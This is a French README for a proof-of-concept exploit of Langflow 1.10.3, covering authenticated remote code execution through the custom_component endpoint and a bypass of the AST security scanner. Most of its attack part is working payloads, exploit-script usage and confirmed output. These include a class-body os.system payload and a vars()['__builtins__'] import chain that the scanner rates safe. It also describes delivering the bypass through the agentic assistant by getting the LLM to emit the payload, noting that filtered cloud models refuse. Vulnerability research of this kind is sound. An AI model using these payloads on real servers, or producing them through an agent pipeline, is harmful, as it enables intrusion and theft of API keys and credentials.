
PoC pour CVE-2026-17633 — RCE authentifié dans IBM Langflow OSS 1.0.0–1.10.3 via le endpoint custom_component. Inclut la recherche sur le contournement du scanner AST de CVE-2026-17632.
À des fins éducatives uniquement. À n'utiliser que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.
Langflow est une plateforme open-source low-code permettant de construire des applications basées sur des LLM et des workflows d'agents IA. Elle fournit une interface visuelle glisser-déposer où les utilisateurs peuvent connecter des composants — modèles, retrievers, outils, mémoire, code Python personnalisé — en flux exécutables. Sa fonctionnalité Custom Component permet aux utilisateurs de définir le comportement d'un composant directement en Python, ce qui constitue la surface d'attaque exploitée dans cette recherche.
Le 5 août 2026, IBM a publié un bulletin de sécurité divulguant un lot de vulnérabilités affectant les versions de Langflow OSS 1.0.0 à 1.10.3. Le bulletin complet est disponible à l'adresse :
Cette recherche se concentre sur deux CVE de ce lot :
| CVE | CVSS | Résumé |
|---|
| CVE-2026-17633 | 8.5 HIGH | RCE authentifiée via /api/v1/custom_component — code transmis directement à exec() sans analyse de sécurité |
| CVE-2026-17632 | 8.8 HIGH | Contournement du scanner de sécurité AST — du code Python conçu passe scan_code_security() avec is_safe: True tout en exécutant des commandes OS arbitraires |
Les deux CVE ont été découvertes indépendamment par analyse statique du code source de Langflow 1.10.3.
Cette recherche a été menée dans un environnement de laboratoire isolé contre une instance Langflow auto-hébergée. Toutes les découvertes sont divulguées de manière responsable. Ne l'utilisez pas contre des systèmes sans autorisation écrite explicite.
Le point de terminaison POST /api/v1/custom_component dans Langflow OSS 1.0.0–1.10.3 accepte du code Python arbitraire d'un utilisateur authentifié et l'exécute côté serveur via la fonction exec() de Python. Contrairement au chemin Agentic Assistant, ce point de terminaison n'appelle pas scan_code_security() ni aucun autre validateur de contenu basé sur l'AST avant l'exécution. Tout utilisateur authentifié peut obtenir une exécution de code à distance avec une seule requête HTTP.
CWE-94 — Contrôle inapproprié de la génération de code
/api/v1/custom_componentSource : langflow/api/v1/endpoints.py — ligne 1271
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
raw_code: CustomComponentRequest,
user: CurrentActiveUser,
request: Request,
) -> CustomComponentResponse:
...
# Only check: is allow_custom_components enabled?
if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)
# No call to scan_code_security() here
component = Component(_code=effective_code)
built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)
Lorsque LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true (fréquent dans les déploiements de production), le code est transmis directement à build_custom_component_template() avec zéro inspection de contenu.
prepare_global_scope() et ast.ExprLa chaîne d'exécution mène à create_class() dans lfx/custom/validate.py, qui appelle prepare_global_scope() avant de compiler et d'exécuter la classe :
def prepare_global_scope(module):
exec_globals = globals().copy()
...
for node in module.body:
if isinstance(node, ast.Import | ast.ImportFrom):
imports.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
...
if definitions:
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # ← exec() happens here
Un appel de fonction nu au niveau du module (par exemple os.system(...)) est un nœud ast.Expr — il n'est pas capté par la vérification isinstance et est silencieusement ignoré. Cependant, le code placé à l'intérieur du corps de la classe fait partie du nœud ClassDef et est exécuté intégralement lorsque la classe est définie via exec() dans compile_class_code().
C'est l'idée clé : la charge utile doit être à l'intérieur du corps de la classe, pas au niveau du module.
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")
class PocComponent(Component):
...
# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
os.system("id > /tmp/pwned.txt") # ← runs here
...
Authenticated attacker
│
▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
│
▼
build_custom_component_template()
│
▼
create_class() — lfx/custom/validate.py
│
▼
prepare_global_scope() → imports resolved
│
▼
compile_class_code() → exec(compiled_class, exec_globals)
│
▼
Class body executed at definition time
│
▼
RCE — uid=1000(user) gid=0(root) inside container
Aucun LLM requis. Aucun contournement de scanner nécessaire. Une seule requête HTTP.
| Exigence | Valeur |
|---|---|
| OS hôte | Kali Linux (testé) |
| Docker | CE 5.x + plugin Compose v2 |
| Image Langflow | langflowai/langflow:1.10.3 |
| RAM | 4 Go minimum pour le conteneur |
Créez un répertoire pour le laboratoire et enregistrez ce qui suit sous le nom docker-compose.yml :
services:
langflow:
image: langflowai/langflow:1.10.3
pull_policy: missing
restart: "no"
ports:
- "127.0.0.1:7860:7860"
environment:
- LANGFLOW_AUTO_LOGIN=false
- LANGFLOW_SUPERUSER=admin
- LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
- LANGFLOW_SECRET_KEY=change_this_to_something_random
- DO_NOT_TRACK=true
- LANGFLOW_CONFIG_DIR=/app/langflow
- LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true
volumes:
- langflow-data:/app/langflow
volumes:
langflow-data:
Démarrez le laboratoire :
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}
Connectez-vous à http://127.0.0.1:7860 avec les identifiants superutilisateur définis ci-dessus. Le jeton d'accès est stocké dans le cookie du navigateur access_token_lf. Vous pouvez également le récupérer via l'API :
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool
Copiez la valeur access_token de la réponse.
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]
-t, --target TARGET Langflow base URL (e.g. http://127.0.0.1:7860)
-k, --token TOKEN Bearer token of the authenticated user
-c, --command COMMAND OS command to execute (default: id > /tmp/pwned.txt)
--verbose Print full payload and server response
--timeout TIMEOUT Request timeout in seconds (default: 30)
python3 exploit_CVE-2026-17633.py \
-t http://127.0.0.1:7860 \
-k <bearer_token> \
-c 'id > /tmp/pwned.txt'
Sortie attendue :
============================================================
PoC CVE-2026-17633 — Langflow Custom Component RCE
CVSS 8.5 HIGH — Authenticated RCE
IBM Langflow OSS 1.0.0 – 1.10.3
============================================================
[*] Health: {"status":"ok"}
[*] Target: http://127.0.0.1:7860/api/v1/custom_component
[*] Command: id > /tmp/pwned.txt
[*] Vector: class body exec() — no scanner
[*] HTTP Status: 200
============================================================
[+] VULNERABLE — CVE-2026-17633 CONFIRMED
============================================================
[+] Endpoint processed the component (200 OK)
[+] exec() triggered — command executed: id > /tmp/pwned.txt
[*] Verify the effect on the server:
docker exec <container_id> cat /tmp/pwned.txt
docker exec <container_id> cat /tmp/pwned.txt
Sortie attendue :
uid=1000(user) gid=0(root) groups=0(root)
Remarque : Langflow 1.10.3 s'exécute en tant que
uid=1000(user)à l'intérieur du conteneur, et non en tant que root. Cependant, à l'intérieur du conteneur, l'utilisateur appartient àgid=0(root), et à partir de là, le mouvement latéral vers l'hôte ou les services connectés (clés API du fournisseur LLM, identifiants de base de données, jetons de vector store) constitue le scénario réaliste de post-exploitation.
En analysant le code source de Langflow 1.10.3 pour comprendre CVE-2026-17633, le chemin de code de l'Agentic Assistant a également été examiné. Cela a conduit à la découverte de scan_code_security() dans langflow/agentic/helpers/code_security.py — un scanner de sécurité basé sur l'AST appliqué au code de composant généré par LLM avant qu'il n'atteigne validate_component_runtime().
Le scanner est sophistiqué : il suit les alias d'importation, détecte les imports génériques, gère la réflexion getattr() et bloque une liste complète d'appels dangereux (os.system, subprocess, exec, eval, __import__, etc.).
Une analyse attentive de DANGEROUS_CALLS a révélé une entrée manquante :
DANGEROUS_CALLS: dict[str, str] = {
"exec": "Use of exec() is forbidden in components",
"eval": "Use of eval() is forbidden in components",
"compile": "Use of compile() is forbidden in components",
"__import__": "Use of __import__() is forbidden in components",
"globals": "Use of globals() is forbidden in components",
"open": "Use of open() is forbidden in components",
"breakpoint": "Use of breakpoint() is forbidden in components",
# "vars" → NOT PRESENT ← gap identified here
}
vars() est absent. Dans le contexte exec() de create_class(), vars() renvoie exec_globals, qui contient importlib hérité des globales de module de validate.py. De plus, ["__builtins__"] est un accès par indice (ast.Subscript), et non un accès par attribut (ast.Attribute), donc visit_Attribute() et DANGEROUS_DUNDER_ATTRS ne l'inspectent jamais.
is_safe: TrueLa charge utile suivante passe scan_code_security() sans aucune violation :
vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")
Vérifié directement contre le scanner à l'intérieur du conteneur :
from langflow.agentic.helpers.code_security import scan_code_security
test_code = 'vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")'
result = scan_code_security(test_code)
print('is_safe:', result.is_safe)
print('violations:', result.violations)
Sortie :
is_safe: True
violations: ()
L'exécution de la RCE a également été confirmée en exécutant le contournement directement dans le même contexte exec() que celui utilisé par create_class() :
import importlib, sys, ast
exec_globals = globals().copy()
exec('vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")', exec_globals)
Sortie dans /tmp/pwned.txt :
uid=1000(user) gid=0(root) groups=0(root)
CVE-2026-17632 est exploitée via le chemin Agentic Assistant :
POST /api/v1/agentic/assist/stream
→ LLM generates Python component code
→ extract_component_code() extracts the ```python``` block
→ validate_component_code() — AST structural check → PASS
→ scan_code_security() — bypass via vars() → PASS (is_safe: True)
→ validate_component_runtime() — exec() without sandbox → RCE
Le mécanisme de livraison exige que le LLM reproduise la charge utile de contournement mot pour mot dans sa réponse. En pratique, les LLM hébergés dans le cloud avec des filtres de sécurité de contenu (OpenAI, Anthropic, la plupart des modèles gratuits OpenRouter) refusent de produire des charges utiles contenant __import__, os.system ou des motifs similaires, même lorsqu'elles sont présentées comme de la recherche en sécurité ou de la documentation.
Il s'agit également d'une contrainte réaliste dans l'exploitation réelle : un attaquant ciblant une instance Langflow avec un fournisseur LLM cloud configuré serait confronté au même filtre de contenu. La vulnérabilité est pleinement exploitable contre les déploiements utilisant des modèles auto-hébergés (Ollama, vLLM, LM Studio) ou des modèles privés affinés sans alignement de sécurité — ce qui représente une part significative des déploiements Langflow en entreprise.
Le contournement du scanner AST (is_safe: True) et la RCE via exec() sont confirmés indépendamment. La chaîne de livraison de bout en bout via LLM constitue le point de recherche ouvert pour CVE-2026-17632.
Recherche menée sur Langflow OSS 1.10.3 dans un environnement de laboratoire isolé. Bulletin de sécurité IBM : https://www.ibm.com/support/pages/node/7282646